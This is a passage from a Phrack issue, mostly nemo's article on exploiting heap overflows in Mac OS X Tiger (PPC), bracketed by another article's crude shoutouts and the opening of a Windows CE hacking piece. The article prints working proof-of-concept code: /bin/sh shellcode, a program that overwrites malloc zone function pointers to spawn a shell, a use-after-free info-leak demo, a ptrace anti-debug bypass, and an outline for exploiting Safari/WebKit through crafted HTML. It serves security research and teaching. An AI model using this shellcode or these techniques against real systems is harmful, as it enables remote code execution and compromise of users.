
[give a 1-word comment to each of the words on the left]

WORD? : WORD!

|=---=[Any suggestions/comments/flames to the scene and/or specific people?

This bunch of bullshit spat above meant something when done. Fuck its political meanings and implications, even though I cannot avoid them. Carry on.

|=---=[Shoutouts & Greetings

I don't believe in merit. To do is as arbitrary as to not do.

However, I want to HUG some people;
my family, my stag, my limey brother, my tukey, my albatross, my creyss, my frogs, my dutchies, my hungarian, the only guy who's hotter than the old apartment, my dot-pa-marine, my waismo, my joto, faggy, my fancy blackhat white american, my kurdish, my corcho, my sweedish, my boss, my tempest individuals, my metrosexual linguistic analystic K-master giant, my iGOBLIN defender grin, my tibu, and AAALLLL my fancy collection of fancy individuals!

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x05 of 0x14

|=---------------=[OS X heap exploitation techniques]=---------------=|
|=--=|

|=------------------=[nemo <nemo@felinemenace.org>]=------------------=|

--[Table of contents

--[1 - Introduction.

This article comes as a result of my experiences exploiting a heap overflow in the default web browser (Safari) on Mac OS X. It assumes a small amount of knowledge of PPC assembly. A reference for this has been provided in the references section below. (4). Also, knowledge of other memory allocators will come in useful, however it's not necessarily needed. All code in this paper was compiled and tested on Mac OS X - Tiger (10.4) running on PPC32 (power pc) architecture.

--[2 - Overview of the Apple OS X userland heap implementation.

The malloc() implementation found in Apple's Libc-391 and earlier (at the time of writing this) is written by Bertrand Serlet. It is a relatively complex memory allocator made up of memory "zones", which are variable size portions of virtual memory, and "blocks", which are allocated from within these zones. It is possible to have multiple zones, however most applications tend to stick to just using the default zone.

So far this memory allocator is used in all releases of OS X so far. It is also used by the Open Darwin project [8] on x86 architecture, however this isn't covered in the paper.

The source for the implementation of the Apple malloc() is available from [6]. (The current version of the source at the time of writing this is 10.4.1).

To access it you need to be a member of the ADC, which is free to sign up. (or if you can't be bothered signing up use the login/password from Bug Me Not [7] ;)

----[2.1 - Environment Variables.

A series of environment variables can be set, to modify the behavior of the memory allocation functions. These can be seen by setting the "MallocHelp" variable, and then calling the malloc() function. They are also shown in the malloc() manpage.

We will now look at the variables which are of the most use to us when exploiting an overflow.

[MallocStackLogging] -:- When this variable is set a record is kept of all the malloc operations that occur. With this variable set the "leaks" tool can be used to search a processes memory for malloc()'ed buffers which are unreferenced.

[MallocStackLoggingNoCompact] -:- When this variable is set, the record of malloc operation is kept in a manner in which the "malloc_history" tool is able to parse. The malloc_history tool is used to list the allocations and deallocations which have been performed by the process.

[MallocPreScribble] -:- This environment variable, can be used to fill memory which has been allocated with 0xaa. This can be useful to easily see where buffers are located in memory. It can also be useful when scripting gdb to investigate the heap.

[MallocScribble] -:- This variable is used to fill de-allocated memory with 0x55. This, like MallocPreScribble is useful for making it easier to inspect the memory layout. Also this will make a program more likely to crash when it's accessing data it's not supposed to.

[MallocBadFreeAbort] -:- This variable causes a SIGABRT to be sent to the program when a pointer is passed to free() which is not listed as allocated. This can be useful to halt execution at the exact point an error occurred in order to assess what has happened.

NOTE: The "heap" tool can be used to inspect the current heap of a process the Zones are displayed as well as any objects which are currently allocated. This tool can be used without setting an environment variable.

----[2.2 - Zones.

A single zone can be thought of a single heap. When the zone is destroyed all the blocks allocated within it are free()'ed. Zones allow blocks with similar attributes to be placed together. The zone itself is described by a malloc_zone_t struct (defined in /usr/include/malloc.h) which is shown below:

[malloc_zone_t struct]

```
typedef struct _malloc_zone_t {

    /* Only zone implementors should depend on the layout of this
    structure; Regular callers should use the access functions below */
    void        *reserved1;     /* RESERVED FOR CFAllocator DO NOT USE */
    void        *reserved2;     /* RESERVED FOR CFAllocator DO NOT USE */
    size_t      (*size)(struct _malloc_zone_t *zone, const void *ptr);
    void        *(*malloc)(struct _malloc_zone_t *zone, size_t size);
    void        *(*calloc)(struct _malloc_zone_t *zone, size_t num_items,
                           size_t size);
    void        *(*valloc)(struct _malloc_zone_t *zone, size_t size);
    void        (*free)(struct _malloc_zone_t *zone, void *ptr);
    void        *(*realloc)(struct _malloc_zone_t *zone, void *ptr,
                                                         size_t size);
    void        (*destroy)(struct _malloc_zone_t *zone);
    const char  *zone_name;

    /* Optional batch callbacks; these may be NULL */
    unsigned    (*batch_malloc)(struct _malloc_zone_t *zone, size_t size,
                                void **results, unsigned num_requested);
    void        (*batch_free)(struct _malloc_zone_t *zone,
                        void **to_be_freed, unsigned num_to_be_freed);
    struct malloc_introspection_t       *introspect;
    unsigned    version;
} malloc_zone_t;
```

(Well, technically zones are scalable szone_t structs, however the first element of a szone_t struct consists of a malloc_zone_t struct. This struct is the most important for us to be familiar with to exploit heap bugs using the method shown in this paper.)

As you can see, the zone struct contains function pointers for each of the memory allocation / deallocation functions. This should give you a pretty good idea of how we can control execution after an overflow.

Most of these functions are pretty self explanatory, the malloc,calloc, valloc free, and realloc function pointers perform the same functionality they do on Linux/BSD.

The size function is used to return the size of the memory allocated. The destroy() function is used to destroy the entire zone and free all memory allocated in it.

The batch_malloc and batch_free functions to the best of my understanding are used to allocate (or deallocate) several blocks of the same size.

NOTE:
The malloc_good_size() function is used to return the size of the buffer after rounding has occurred. An interesting note about this function is that it contains the same wrap mentioned in 5.1.

```
        printf("0x%x\n",malloc_good_size(0xffffffff));
```

Will print 0x1000 on Mac OS X 10.4 (Tiger).

----[2.3 - Blocks.

Allocation of blocks occurs in different ways depending on the size of the memory required. The size of all blocks allocated is always paragraph aligned (a multiple of 16). Therefore an allocation of less than 16 will always return 16, an allocation of 20 will return 32, etc.

The szone_t struct contains two pointers, for tiny and small block allocation. These are shown below:

```
        tiny_region_t       *tiny_regions;
        small_region_t      *small_regions;
```

Memory allocations which are less than around 500 bytes in size fall into the "tiny" range. These allocations are allocated from a pool of vm_allocate()'ed regions of memory. Each of these regions consists of a 1MB, (in 32-bit mode), or 2MB, (in 64-bit mode) heap. Following this is some meta-data about the region. Regions are ordered by ascending block size. When memory is deallocated it is added back to the pool.

Free blocks contain the following meta-data:

(all fields are sizeof(void *) in size, except for "size" which is sizeof(u_short)). Tiny sized buffers are instead aligned to 0x10 bytes)

- checksum
- previous
- next
- size

The size field contains the quantum count for the region. A quantum represents the size of the allocated blocks of memory within the region.

Allocations of which size falls in the range between 500 bytes and four virtual pages in size (0x4000) fall into the "small" category.
Memory allocations of "small" range sized blocks, are allocated from a pool of small regions, pointed to by the "small_regions" pointer in the szone_t struct. Again this memory is pre-allocated with the vm_allocate() function. Each "small" region consists of an 8MB heap, followed by the same meta-data as tiny regions.

Tiny and small allocations are not always guaranteed to be page aligned. If a block is allocated which is less than a single virtual page size then obviously the block cannot be aligned to a page.

Large block allocations (allocations over four vm pages in size), are handled quite differently to the small and tiny blocks. When a large block is requested, the malloc() routine uses vm_allocate() to obtain the memory required. Larger memory allocations occur in the higher memory of the heap. This is useful in the "destroying the heap" technique, outlined in this paper. Large blocks of memory are allocated in multiples of 4096. This is the size of a virtual memory page. Because of this, large memory allocations are always guaranteed to be page-aligned.

----[2.4 - Heap initialization.

As you can see below, the malloc() function is merely a wrapper around the malloc_zone_malloc() function.

```
 void *malloc(size_t size)
 {
   void  *retval;

   retval = malloc_zone_malloc(inline_malloc_default_zone(), size);
   if (retval == NULL)
     {
        errno = ENOMEM;
     }
   return retval;
 }
```

It uses the inline_malloc_default_zone() function to pass the appropriate zone to malloc_zone_malloc(). If malloc() is being called for the first time the inline_malloc_default_zone() function calls _malloc_initialize() in order to create the initial default malloc zone.

The malloc_create_zone() function is called with the values (0,0) being passed in as as the start_size and flags parameters.

After this the environment variables are read in (any beginning with "Malloc"), and parsed in order to set the appropriate flags.

It then calls the create_scalable_zone() function in the scalable_malloc.c file. This function is really responsible for creating the szone_t struct. It uses the allocate_pages() function as shown below.

```
 szone = allocate_pages(NULL, SMALL_REGION_SIZE, SMALL_BLOCKS_ALIGN, 0, \
                        VM_MAKE_TAG(VM_MEMORY_MALLOC));
```

This, in turn, uses the mach_vm_allocate() mach syscall to allocate the required memory to store the s_zone_t default struct.

-[Summary]:

For the technique contained within this paper, the most important things to note is that a szone_t struct is set up in memory. The struct contains several function pointers which are used to store the address of each of the appropriate allocation and deallocation functions. When a block of memory is allocated which falls into the "large" category, the vm_allocate() mach syscall is used to allocate the memory for this.

--[3 - A Sample Overflow

Before we look at how to exploit a heap overflow, we will first analyze how the initial zone struct is laid out in the memory of a running process.

To do this we will use gdb to debug a small sample program. This is shown below:

```
        -[nemo@gir:~]$ cat > mtst1.c
        #include <stdlib.h>

        int main(int ac, char **av)
        {
```

```
                char *a = malloc(10);
                __asm("trap");
                char *b = malloc(10);
        }

        -[nemo@gir:~]$ gcc mtst1.c -o mtst1
        -[nemo@gir:~]$ gdb ./mtst1
        GNU gdb 6.1-20040303 (Apple version gdb-413)
        (gdb) r
        Starting program: /Users/nemo/mtst1
        Reading symbols for shared libraries . done
```

Once we receive a SIGTRAP signal and return to the gdb command shell we can then use the command shown below to locate our initial szone_t structure in the process memory.

```
        (gdb) x/x &initial_malloc_zones
        0xa0010414 <initial_malloc_zones>:      0x01800000
```

This value, as expected inside gdb, is shown to be 0x01800000. If we dump memory at this location, we can see each of the fields in the _malloc_zone_t_ struct as expected.

NOTE: Output reformatted for more clarity.

```
        (gdb) x/x (long*) initial_malloc_zones
        0x1800000:      0x00000000      // Reserved1.
        0x1800004:      0x00000000      // Reserved2.
        0x1800008:      0x90005e0c      // size() pointer.
        0x180000c:      0x90003abc      // malloc() pointer.
        0x1800010:      0x90008bc4      // calloc() pointer.
        0x1800014:      0x9004a9f8      // valloc() pointer.
        0x1800018:      0x900060ac      // free() pointer.
        0x180001c:      0x90017f90      // realloc() pointer.
        0x1800020:      0x9010efb8      // destroy() pointer.
        0x1800024:      0x00300000      // Zone Name
                                        //("DefaultMallocZone").
        0x1800028:      0x9010dbe8      // batch_malloc() pointer.
        0x180002c:      0x9010e848      // batch_free() pointer.
```

In this struct we can see each of the function pointers which are called for each of the memory allocation/deallocation functions performed using the default zone. As well as a pointer to the name of the zone, which can be useful for debugging.

If we change the malloc() function pointer, and continue our sample program (shown below) we can see that the second call to malloc() results in a jump to the specified value. (after instruction alignment).

```
        (gdb) set *0x180000c = 0xdeadbeef
        (gdb) jump *($pc + 4)
        Continuing at 0x2cf8.

        Program received signal EXC_BAD_ACCESS, Could not access memory.
        Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec
        0xdeadbeec in ?? ()
        (gdb)
```

But is it really feasible to write all the way to the address 0x1800000? (or 0x2800000 outside of gdb). We will look into this now.

First we will check the addresses various sized memory allocations are given. The location of each buffer is dependant on whether the allocation size falls into one of the various sized bins mentioned earlier (tiny, small or large).

To test the location of each of these we can simply compile and run the following small c program as shown:

```
        -[nemo@gir:~]$ cat > mtst2.c
```

```
        #include <stdio.h>
        #include <stdlib.h>

        int main(int ac, char **av)
        {
                extern *malloc_zones;

                printf("initial_malloc_zones @ 0x%x\n",*malloc_zones);
                printf("tiny:  %p\n",malloc(22));
                printf("small: %p\n",malloc(500));
                printf("large: %p\n",malloc(0xffffffff));
                return 0;
        }
        -[nemo@gir:~]$ gcc mtst2.c -o mtst2
        -[nemo@gir:~]$ ./mtst2
        initial_malloc_zones @ 0x2800000
        tiny:  0x500160
        small: 0x2800600
        large: 0x26000
```

From the output of this program we can see that it is only possible to write to the initial_malloc_zones struct from a "tiny" or " large" buffer. Also, in order to overwrite the function pointers contained within this struct we need to write a considerable amount of data completely destroying sections of the zone. Thankfully many situations exist in typical software which allow these criteria to be met. This is discussed in the final section of this paper.

Now we understand the layout of the heap a little better, we can use a small sample program to overwrite the function pointers contained in the struct to get a shell.

The following program allocates a 'tiny' buffer of 22 bytes. It then uses memset() to write 'A's all the way to the pointer for malloc() in the zone struct, before calling malloc().

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int ac, char **av)
{
  extern *malloc_zones;
  char *tmp,*tinyp = malloc(22);

  printf("[+] tinyp is @ %p\n",tinyp);
  printf("[+] initial_malloc_zones is @ %p\n", *malloc_zones);
  printf("[+] Copying 0x%x bytes.\n",
          (((char *)*malloc_zones + 16) - (char *)tinyp));
  memset(tinyp,'A', (int)(((char *)*malloc_zones + 16) - (char *)tinyp));

  tmp = malloc(0xdeadbeef);
  return 0;
}
```

However when we compile and run this program, an EXC_BAD_ACCESS signal is received.

```
        (gdb) r
        Starting program: /Users/nemo/mtst3
        Reading symbols for shared libraries . done
        [+] tinyp is @ 0x300120
        [+] initial_malloc_zones is @ 0x1800000
        [+] Copying 0x14ffef0 bytes.

        Program received signal EXC_BAD_ACCESS, Could not access memory.
        Reason: KERN_INVALID_ADDRESS at address: 0x00405000
        0xffff9068 in ___memset_pattern ()
```

This is due to the fact that, in between the tinyp pointer and the malloc function pointer we are trying to overwrite there is some unmapped memory.

In order to get past this we can use the fact that blocks of memory allocated which fall into the "large" category are allocated using the mach vm_allocate() syscall.

If we can get enough memory to be allocated in the large classification, before the overflow occurs we should have a clear path to the pointer.

To illustrate this point, we can use the following code:

```
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <string.h>

char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68";

extern *malloc_zones;

int     main(int ac, char **av)
{
 char  *tmp, *tmpr;
 int   a=0 , *addr;

 while ((tmpr = malloc(0xffffffff)) <= (char *)*malloc_zones);

 // small buffer
 addr = malloc(22);
 printf("[+] malloc_zones (first zone) @ 0x%x\n", *malloc_zones);
 printf("[+] addr @ 0x%x\n",addr);

 if ((unsigned int) addr < *malloc_zones)
 {
    printf("[+] addr + %u = 0x%x\n",
           *malloc_zones - (int) addr, *malloc_zones);
    exit(1);
 }

 printf("[+] Using shellcode @ 0x%x\n",&shellcode);

 for (a = 0;
      a <= ((*malloc_zones - (int) addr) + sizeof(malloc_zone_t)) / 4;
      a++)
   addr[a] = (int) &shellcode[0];

 printf("[+] finished memcpy()\n");

 tmp = malloc(5);        // execve()

}
```

This code allocates enough "large" blocks of memory (0xffffffff) with which to plow a clear path to the function pointers. It then copies the address of the shellcode into memory all the way through the zone before overwriting the function pointers in the szone_t struct. Finally a call to malloc() is made in order to trigger the execution of the shellcode.

As you can see below, this code function as we’d expect and our shellcode is executed.

```
        -[nemo@gir:~]$ ./heaptst
```

```
        [+] malloc_zones (first zone) @ 0x2800000
        [+] addr @ 0x500120
        [+] addr + 36699872 = 0x2800000
        [+] Using shellcode @ 0x3014
        [+] finished memcpy()
        sh-2.05b$
```

This method has been tested on Apple's OS X version 10.4.1 (Tiger).

--[4 - A Real Life Example

The default web browser on OS X (Safari) as well as the mail client (Mail.app), Dashboard and almost every other application on OS X which requires web parsing functionality achieve this through a library which Apple call "WebKit". (2)

This library contains many bugs, many of which are exploitable using this technique. Particular attention should be payed to the code which renders <TABLE></TABLE> blocks ;)

Due to the nature of HTML pages an attacker is presented with opportunities to control the heap in a variety of ways before actually triggering the exploit. In order to use the technique described in this paper to exploit these bugs we can craft some HTML code, or an image file, to perform many large allocations and therefore cleaving a path to our function pointers. We can then trigger one of the numerous overflows to write the address of our shellcode into the function pointers before waiting for a shell to be spawned.

One of the bugs which i have exploited using this particular method involves an unchecked length being used to allocate and fill an object in memory with null bytes (\x00).

If we manage to calculate the write so that it stops mid way through one of our function pointers in the szone_t struct, we can effectively truncate the pointer causing execution to jump elsewhere.

The first step to exploiting this bug, is to fire up the debugger (gdb) and look at what options are available to us.

Once we have Safari loaded up in our debugger, the first thing we need to check for the exploit to succeed is that we have a clear path to the initial_malloc_zones struct. To do this in gdb we can put a breakpoint on the return statement in the malloc() function.

We use the command "disas malloc" to view the assembly listing for the malloc function. The end of this listing is shown below:

```
        .....

        0x900039dc <malloc+1464>:       lwz     r0,8(r1)
        0x900039e0 <malloc+1468>:       lmw     r24,-32(r1)
        0x900039e4 <malloc+1472>:       lwz     r11,4(r1)
        0x900039e8 <malloc+1476>:       mtlr    r0
        0x900039ec <malloc+1480>:       .long 0x7d708120
        0x900039f0 <malloc+1484>:       blr
        0x900039f4 <malloc+1488>:       .long 0x0
```

The "blr" instruction shown at line 0x900039f0 is the "branch to link register" instruction. This instruction is used to return from malloc().

Functions in OS X on PPC architecture pass their return value back to the calling function in the "r3" register. In order to make sure that the malloc()'ed addresses have reached the address of our zone struct we can put a breakpoint on this instruction, and output the value which was returned.

We can do this with the gdb commands shown below.

```
        (gdb) break *0x900039f0
```

```
        Breakpoint 1 at 0x900039f0
        (gdb) commands
        Type commands for when breakpoint 1 is hit, one per line.
        End with a line saying just "end".
        >i r r3
        >cont
        >end
```

We can now continue execution and receive a running status of all allocations which occur in our program. This way we can see when our target is reached.

The "heap" tool can also be used to see the sizes and numbers of each allocation.

There are several methods which can be used to set up the heap correctly for exploitation. One method, suggested by andrewg, is to use a .png image in order to control the sizes of allocations which occur. Apparently this method was learn from zen-parse when exploiting a mozilla bug in the past.

The method which i have used is to create an HTML page which repeatedly triggers the overflow with various sizes. After playing around with this for a while, it was possible to regularly allocate enough memory for the overflow to occur.

Once the limit is reached, it is possible to trigger the overflow in a way which overwrites the first few bytes in any of the pointers in the szone_t struct.

Because of the big endian nature of PPC architecture (by default. it can be changed.) the first few bytes in the pointer make all the difference and our truncated pointer will now point to the .TEXT segment.

The following gdb output shows our initial_malloc_zones struct after the heap has been smashed.

```
        (gdb) x/x (long )*&initial_malloc_zones
        0x1800000:      0x00000000      // Reserved1.
        (gdb)
        0x1800004:      0x00000000      // Reserved2.
        (gdb)
        0x1800008:      0x00000000      // size() pointer.
        (gdb)
        0x180000c:      0x00003abc      // malloc() pointer.
        (gdb)              ^^ smash stopped here.
        0x1800010:      0x90008bc4
```

As you can see, the malloc() pointer is now pointing to somewhere in the .TEXT segment, and the next call to malloc() will take us there. We can use gdb to view the instructions at this address. As you can see in the following example.

```
        (gdb) x/2i 0x00003abc
        0x3abc: lwz     r4,0(r31)
        0x3ac0: bl      0xd686c <dyld_stub_objc_msgSend>
```

Here we can see that the r31 register must be a valid memory address for a start following this the dyld_stub_objc_msgSend() function is called using the "bl" (branch updating link register) instruction. Again we can use gdb to view the instructions in this function.

```
        (gdb) x/4i 0xd686c
        0xd686c <dyld_stub_objc_msgSend>:       lis     r11,14
        0xd6870 <dyld_stub_objc_msgSend+4>:     lwzu    r12,-31732(r11)
        0xd6874 <dyld_stub_objc_msgSend+8>:     mtctr   r12
        0xd6878 <dyld_stub_objc_msgSend+12>:    bctr
```

We can see in these instructions that the r11 register must be a valid memory address. Other than that the final two instructions (0xd6874 and 0xd6878) move the value in the r12 register to the control register, before branching to it. This is the equivalent of jumping to a function pointer in r12. Amazingly this code construct is exactly what we need.

So all that is needed to exploit this vulnerability now, is to find somewhere in the binary where the r12 register is controlled by the user, directly before the malloc function is called. Although this isn't terribly easy to find, it does exist.

However, if this code is not reached before one of the pointers contained on the (now smashed) heap is used the program will most likely crash before we are given a chance to steal execution flow. Because of this fact, and because of the difficult nature of predicting the exact values with which to smash the heap, exploiting this vulnerability can be very unreliable, however it definitely can be done.

```
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeec
0xdeadbeec in ?? ()
(gdb)
```

An exploit for this vulnerability means that a crafted email or website is all that is needed to remotely exploit an OS X user.

Apple have been contacted about a couple of these bugs and are currently in the process of fixing them.

The WebKit library is open source and available for download, apparently it won't be too long before Nokia phones use this library for their web applications. [5]

--[5 - Miscellaneous

This section shows a couple of situations / observations regarding the memory allocator which did not fit in to any of the other sections.

----[5.1 - Wrap-around Bug.

The examples in this paper allocated the value 0xffffffff. However this amount is not technically feasible for a malloc implementation to allocate each time.

The reason this works without failure is due to a subtle bug which exists in the Darwin kernel's vm_allocate() function.

This function attempts to round the desired size it up to the closest page aligned value. However it accomplishes this by using the vm_map_round_page() macro (shown below.)

```
#define PAGE_MASK (PAGE_SIZE - 1)
#define PAGE_SIZE vm_page_size
#define vm_map_round_page(x) (((vm_map_offset_t)(x) + \
PAGE_MASK) & ~((signed)PAGE_MASK))
```

Here we can see that the page size minus one is simply added to the value which is to be rounded before being bitwise AND'ed with the reverse of the PAGE_MASK.

The effect of this macro when rounding large values can be illustrated using the following code:

```
#include <stdio.h>

#define PAGEMASK 0xfff

#define vm_map_round_page(x) ((x + PAGEMASK) & ~PAGEMASK)

int main(int ac, char **av)
{
```

```
                printf("0x%x\n",vm_map_round_page(0xffffffff));
        }
```

When run (below) it can be seen that the value 0xffffffff will be rounded to 0.

```
        -[nemo@gir:~]$ ./rounding
        0x0
```

Directly below the rounding in vm_allocate() is performed there is a check to make sure the rounded size is not zero. If it is zero then the size of a page is added to it. Leaving only a single page allocated.

```
        map_size = vm_map_round_page(size);
        if (map_addr == 0)
                map_addr += PAGE_SIZE;
```

The code below demonstrates the effect of this on two calls to malloc().

```
        #include <stdio.h>
        #include <stdlib.h>

        int main(int ac, char **av)
        {
                char *a = malloc(0xffffffff);
                char *b = malloc(0xffffffff);

                printf("B - A: 0x%x\n", b - a);

                return 0;
        }
```

When this program is compiled and run (below) we can see that although the programmer believes he/she now has a 4GB buffer only a single page has been allocated.

```
        -[nemo@gir:~]$ ./ovrflw
        B - A: 0x1000
```

This means that most situations where a user specified length can be passed to the malloc() function, before being used to copy data, are exploitable.

This bug was pointed out to me by duke.

----[5.2 - Double free().

Bertrand's allocator keeps track of the addresses which are currently allocated. When a buffer is free()'ed the find_registered_zone() function is used to make sure that the address which is requested to be free()'ed exists in one of the zones. This check is shown below.

```
void            free(void *ptr)
{
 malloc_zone_t       *zone;

 if (!ptr) return;

 zone = find_registered_zone(ptr, NULL);
 if (zone)
  {
    malloc_zone_free(zone, ptr);
  }
  else
  {
    malloc_printf("***  Deallocation of a pointer not malloced: %p; "
                  "This could be a double free(), or free() called "
                  "with the middle of an allocated block; "
                  "Try setting environment variable MallocHelp to see "
                  "tools that help to debug\n", ptr);
    if (malloc_free_abort) abort();
```

```
  }
}
```

This means that an address free()'ed twice (double free) will not actually be free()'ed the second time. Making it hard to exploit double free()'s in this way.

However, when a buffer is allocated of the same size as the previous buffer and free()'ed, but the pointer to the free()'ed buffer still exists and is used an exploitable condition can occur.

The small sample program below shows a pointer being allocated and free()ed and then a second pointer being allocated of the same size. Then free()ed twice.

```
        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>

        int main(int ac, char **av)
        {
                char *b,*a  = malloc(11);

                printf("a: %p\n",a);
                free(a);
                b  = malloc(11);
                printf("b: %p\n",b);
                free(b);
                printf("b: %p\n",a);
                free(b);
                printf("a: %p\n",a);

                return 0;
        }
```

When we compile and run it, as shown below, we can see that pointer "a" still points to the same address as "b", even after it was free()'ed. If this condition occurs and we are able to write to,or read from, pointer "a", we may be able to exploit this for an info leak, or gain control of execution.

```
        -[nemo@gir:~]$ ./dfr
        a: 0x500120
        b: 0x500120
        b: 0x500120
        tst(3575) malloc: *** error for object 0x500120: double free
        tst(3575) malloc: *** set a breakpoint in szone_error to debug
        a: 0x500120
```

I have written a small sample program to explain more clearly how this works. The code below reads a username and password from the user. It then compares password to one stored in the file ".skrt". If this password is the same, the secret code is revealed. Otherwise an error is printed informing the user that the password was incorrect.

```
        #include <stdio.h>
        #include <stdlib.h>
        #include <string.h>
        #include <unistd.h>

        #define PASSWDFILE ".skrt"

        int main(int ac, char **av)
        {
                char *user = malloc(128 + 1);
                char *p,*pass = "" ,*skrt = NULL;
                FILE *fp;
```

```
                printf("login: ");
                fgets(user,128,stdin);
                if (p = strchr(user,'\n'))
                        *p = '\x00';

                // If the username contains "admin_", exit.
                if(strstr(user,"admin_"))
                {
                        printf("Admin user not allowed!\n");
                        free(user);
                        fflush(stdin);
                        goto exit;
                }

                pass = getpass("Enter your password: ");

        exit:
                if ((fp = fopen(PASSWDFILE,"r")) == NULL)
                {
                        printf("Error loading password file.\n");
                        exit(1);
                }

                skrt = malloc(128 + 1);

                if (!fgets(skrt,128,fp))
                {
                        exit(1);
                }

                if (p = strchr(skrt,'\n'))
                        *p = '\x00';

                if (!strcmp(pass,skrt))
                {
                        printf("The combination is 2C,4B,5C\n");
                }
                else
                {
                        printf("Password Rejected for %s, please try again\n");
                                user);
                }

                fclose(fp);
                return 0;
        }
```

When we compile the program and enter an incorrect password we see the following message:

```
        -[nemo@gir:~]$ ./dfree
        login: nemo
        Enter your password:
        Password Rejected for nemo, please try again.
```

However, if the "admin_" string is detected in the string, the user buffer is free()'ed. The skrt buffer is then returned from malloc() pointing to the same allocated block of memory as the user pointer. This would normally be fine however the user buffer is used in the printf() function call at the end of the function. Because the user pointer still points to the same memory as skrt this causes an info-leak and the secret password is printed, as seen below:

```
        -[nemo@gir:~]$ ./dfree
        login: admin_nemo
        Admin user not allowed!
        Password Rejected for secret_password, please try again.
```

We can then use this password to get the combination:

```
        -[nemo@gir:~]$ ./dfree
        login: nemo
        Enter your password:
        The combination is 2C,4B,5C
```

----[5.3 - Beating ptrace()

Safari uses the ptrace() syscall to try and stop evil hackers from debugging their proprietary code. ;). The extract from the man-page below shows a ptrace() flag which can be used to stop people being able to debug your code.

```
PT_DENY_ATTACH
           This request is the other operation used by the traced
           process; it allows a process that is not currently being
           traced to deny future traces by its parent.  All other
           arguments are ignored.  If the process is currently being
           traced, it will exit with the exit status of ENOTSUP; oth-
           erwise, it sets a flag that denies future traces.  An
           attempt by the parent to trace a process which has set this
           flag will result in a segmentation violation in the parent.
```

There are a couple of ways to get around this check (which i am aware of). The first of these is to patch your kernel to stop the PT_DENY_ATTACH call from doing anything. This is probably the best way, however involves the most effort.

The method which we will use now to look at Safari is to start up gdb and put a breakpoint on the ptrace() function. This is shown below:

```
        -[nemo@gir:~]$ gdb /Applications/Safari.app/Contents/MacOS/Safari
        GNU gdb 6.1-20040303 (Apple version gdb-413)
        (gdb) break ptrace
        Breakpoint 1 at 0x900541f4
```

We then run the program, and wait until the breakpoint is hit. When our breakpoint is triggered, we use the x/10i $pc command (below) to view the next 10 instructions in the function.

```
        (gdb) r
        Starting program: /Applications/Safari.app/Contents/MacOS/Safari
        Reading symbols for shared libraries .................... done

        Breakpoint 1, 0x900541f4 in ptrace ()
        (gdb) x/10i $pc
        0x900541f4 <ptrace+20>: addis   r8,r8,4091
        0x900541f8 <ptrace+24>: lwz     r8,7860(r8)
        0x900541fc <ptrace+28>: stw     r7,0(r8)
        0x90054200 <ptrace+32>: li      r0,26
        0x90054204 <ptrace+36>: sc
        0x90054208 <ptrace+40>: b       0x90054210 <ptrace+48>
        0x9005420c <ptrace+44>: b       0x90054230 <ptrace+80>
        0x90054210 <ptrace+48>: mflr    r0
        0x90054214 <ptrace+52>: bcl-    20,4*cr7+so,0x90054218
        0x90054218 <ptrace+56>: mflr    r12
```

At line 0x90054204 we can see the instruction "sc" being executed. This is the instruction which calls the syscall itself. This is similar to int 0x80 on a Linux platform, or sysenter/int 0x2e in windows.

In order to stop the ptrace() syscall from occurring we can simply replace this instruction in memory with a nop (no operation) instruction. This way the syscall will never take place and we can debug without any problems.

To patch this instruction in gdb we can use the command shown below and continue execution.

```
        (gdb) set *0x90054204 = 0x60000000
        (gdb) continue
```

--[6 - Conclusion

Although the technique which was described in this paper seem rather specific, the technique is still valid and exploitation of heap bugs in this way is definitely possible.

When you are able to exploit a bug in this way you can quickly turn a complicated bug into the equivalent of a simple stack smash (3).

At the time of writing this paper, no protection schemes for the heap exist for Mac OS X which would stop this technique from working. (To my knowledge).

On a side note, if anyone works out why the initial_malloc_zones struct is always located at 0x2800000 outside of gdb and 0x1800000 inside i would appreciate it if you let me know.

I'd like to say thanks to my boss Swaraj from Suresec LTD for giving me time to research the things which i enjoy so much.

I'd also like to say hi to all the guys at Feline Menace, as well as pulltheplug.org/#social and the Ruxcon team. I'd also like to thank the Chelsea for providing the AU felinemenace guys with buckets of corona to fuel our hacking. Thanks as well to duke for pointing out the vm_allocate() bug and ilja for discussing all of this with me on various occasions.

"Free wd jail mitnick!"

--[7 - References

1) Apple Memory Usage performance Guidelines:
 - http://developer.apple.com/documentation/Performance/Conceptual/
 ManagingMemory/Articles/MemoryAlloc.html

2) WebKit:
 - http://webkit.opendarwin.org/

3) Smashing the stack for fun and profit:
 - http://www.phrack.org/show.php?p=49&a=14

4) Mac OS X Assembler Guide
 - http://developer.apple.com/documentation/DeveloperTools/
 Reference/Assembler/index.html

5) Slashdot - Nokia Using WebKit
 - http://apple.slashdot.org/article.pl?sid=05/06/13/1158208

6) Darwin Source.
 - http://www.opensource.apple.com/darwinsource/curr.version.number

7) Bug Me Not
 - http://www.bugmenot.com

8) Open Darwin
 - http://www.opendarwin.org

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x06 of 0x14

```
|=-----------------------------------------------------------------------=|
|=-----------------------=[ Hacking Windows CE ]=------------------------=|
|=-----------------------------------------------------------------------=|
|=----------------------=[ san <san@xfocus.org> ]=----------------------=|
```

--[Contents

--[1 - Abstract

